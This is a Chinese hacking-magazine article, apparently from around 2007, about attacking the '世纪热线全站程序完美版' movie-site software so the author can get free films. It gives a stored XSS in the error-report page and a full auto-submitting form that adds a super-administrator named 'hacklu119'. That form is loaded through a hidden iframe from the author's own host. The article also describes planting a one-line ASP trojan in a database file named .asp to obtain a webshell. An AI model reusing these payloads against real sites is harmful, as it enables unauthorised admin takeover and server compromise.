跨出权限—世纪热线全站程序完美版漏洞利用
注:本文首发于黑客手册,.转载请注明来源
06年就这样像3389离我而去,07年就像4489在迎接着我们。不知不觉又长了一岁。06年可以说是注入淡却的一年。不过新的技术也在增长。
跨站虽然算不上新的技术。但在国外也是非常重视的。其实跨站代码如果构造好的话可以干出很多事来的。这不,在网上逛到了一个电影网站。
心想如果把这个站拿下来不就可以看免费的电影了。(动机不太好呀^_^)。发现程序用的是:"世纪热线全站程序完美版"于是去百度搜一下也没发有漏
洞。那么就自己下回来慢慢研究吧。
可以说这套程序在注入方面防范的还不错。但是跨站方面好象就没有做到家了。经过仔细的查找,终于被我找到了一点软胁。首先我们先注册
个用户。一般电影网站都提供影片报错的页面。这个也不例外。我们在首页随便点击一个影片。下面有个报告错误。点一下之后会打开一个页面。
因为这个报告错误只有管理员能看,我们在报告错误里写上"<script>alert("樱花找漏洞了")</script>",如图1所示。
点开始报告,我们再去后台的电影管理/错误报告去看一下,跨站代码被成功执行了。如图2所示。
既然这个能执行,我们在来构造一些特殊的代码吧。后台有个添加管理员的,我们先来看看它的代码是怎么实现的,添加管理员的关键代码如下:
<form method="post" action="saveuser1.asp" name="form1" onsubmit="javascript:return check();">
<table width="396" border="0" cellspacing="1" cellpadding="0">
<tr bgcolor="#0099FF">
<td height="25" width="392">
<div align="center">
<font size="2">新增管理员</font></div>
</td>
</tr>
<tr>
<td height="30" style="color: black; border-style: none" width="253">
<div align="center">
<font size="2">用 户 名 <input type="text" name="username" size="20">
</font>
</div>
</td>
<td height="30" style="color: black; border-style: none" width="138"> </td>
</tr>
<tr>
<td height="30" style="color: black; border-style: none" width="253">
<div align="center">
<font size="2">初始密码 <input type="password" name="newpin" size="20">
</font>
</div>
</td>
<td height="30" style="color: black; border-style: none" width="138">
<span lang="zh-cn"><font size="2">数字+字母10位以上</font></span></td>
</tr>
<tr>
<td height="30" style="color: black; border-style: none" width="253">
<div align="center">
<font size="2">确认密码 <input type="password" name="re_newpin" size="20">
</font>
</div>
</td>
<td height="30" style="color: black; border-style: none" width="138">
<span lang="zh-cn"><font size="2">数字+字母10位以上</font></span></td>
</tr>
<tr>
<td height="30" style="color: black; border-style: none" width="253">
<p align="center"><span lang="zh-cn"> </span>权限设置 <span lang="zh-cn">
</span><select size="1" name="flag">
<option selected value="4">====无管理权限====</option>
<option value="3">====初级管理员====</option>
<option value="2">====高级管理员====</option>
<option value="1">====超级管理员====</option>
</select></td>
<td height="30" style="color: black; border-style: none" width="138"> </td>
</tr>
</table>
<p><input type="submit" name="Submit" value="确定"> </p>
</form>
其实这个我们只在稍稍改动一下就可以了,改好的代码如下:
<form method="post" action="http://127.0.0.1/admin/saveuser1.asp">
<table width="396" border="0" cellspacing="1" cellpadding="0">
<tr bgcolor="#0099FF">
<td height="25" width="392">
<div align="center">
<font size="2">新增管理员</font></div>
</td>
</tr>
<tr>
<td height="30" style="color: black; border-style: none" width="253">
<div align="center">
<font size="2">用 户 名 <input type="text" name="username" size="20" value="hacklu119"> '添加管理员名字
</font>
</div>
</td>
<td height="30" style="color: black; border-style: none" width="138"> </td>
</tr>
<tr>
<td height="30" style="color: black; border-style: none" width="253">
<div align="center">
<font size="2">初始密码 <input type="password" name="newpin" size="20" value="hack11911"> '添加管理员密码
</font>
</div>
</td>
<td height="30" style="color: black; border-style: none" width="138">
<span lang="zh-cn"><font size="2">数字+字母10位以上</font></span></td>
</tr>
<tr>
<td height="30" style="color: black; border-style: none" width="253">
<div align="center">
<font size="2">确认密码 <input type="password" name="re_newpin" size="20" value="hack11911"> '确认管理员密码
</font>
</div>
</td>
<td height="30" style="color: black; border-style: none" width="138">
<span lang="zh-cn"><font size="2">数字+字母10位以上</font></span></td>
</tr>
<tr>
<td height="30" style="color: black; border-style: none" width="253">
<p align="center"><span lang="zh-cn"> </span>权限设置 <span lang="zh-cn">
</span><select size="1" name="flag">
<option selected value="1">====无管理权限====</option> '设置为超级管理员,注意这里是1
<option value="3">====初级管理员====</option>
<option value="2">====高级管理员====</option>
<option value="1">====超级管理员====</option>
</select></td>
<td height="30" style="color: black; border-style: none" width="138"> </td>
</tr>
</table>
<p><input type="submit" name="Submit" value="确定"> </p>
<p> </p>
<p align="center">
<script language="javascript"> '用javascript脚本叫程序自动运行
this.document.forms[0].submit()
</script>
</div>
</form>
最重要的就是action后的路径和最后自动运行的脚本,路径大家一定要对上。把上面的代码为hacklu.htm上传到自己的空间。然后再来到错误
报告的地方写上我们的挂马代码: <iframe src=http://www.hacklu.net/tu/hacklu.htm width=0 height=0></iframe> ,www.hacklu.net是我空
间的地址。这样管理员在看错误报告的时候就会添加一个名为:hacklu119的超级管理员。如图3、图4所示。
其实我们还可以构造备份WEBSHELL什么的,只是这个后台没有备份数据库的功能。所以得到WEBSHELL有一定的困难。刚开始我在添加电影的地
方上传ASP木马。又是抓名又是改扩展名的,可惜还没有成功。后来不经意发现原来这个数据库是ASP的,那么就好办了。只接在添加电影的地方
写上我们的一句话的ASP木马,如图5所示。
最后添加一下我们用客户端连接 http://127.0.0.1/data/jdzcn.asp 如图6所示,连接成功后会生成killbase.asp文件。最后成功得到WEBSHELL。见图7。
不过如果数据库改了名字的话,那么得WEBSHELL就不容易了。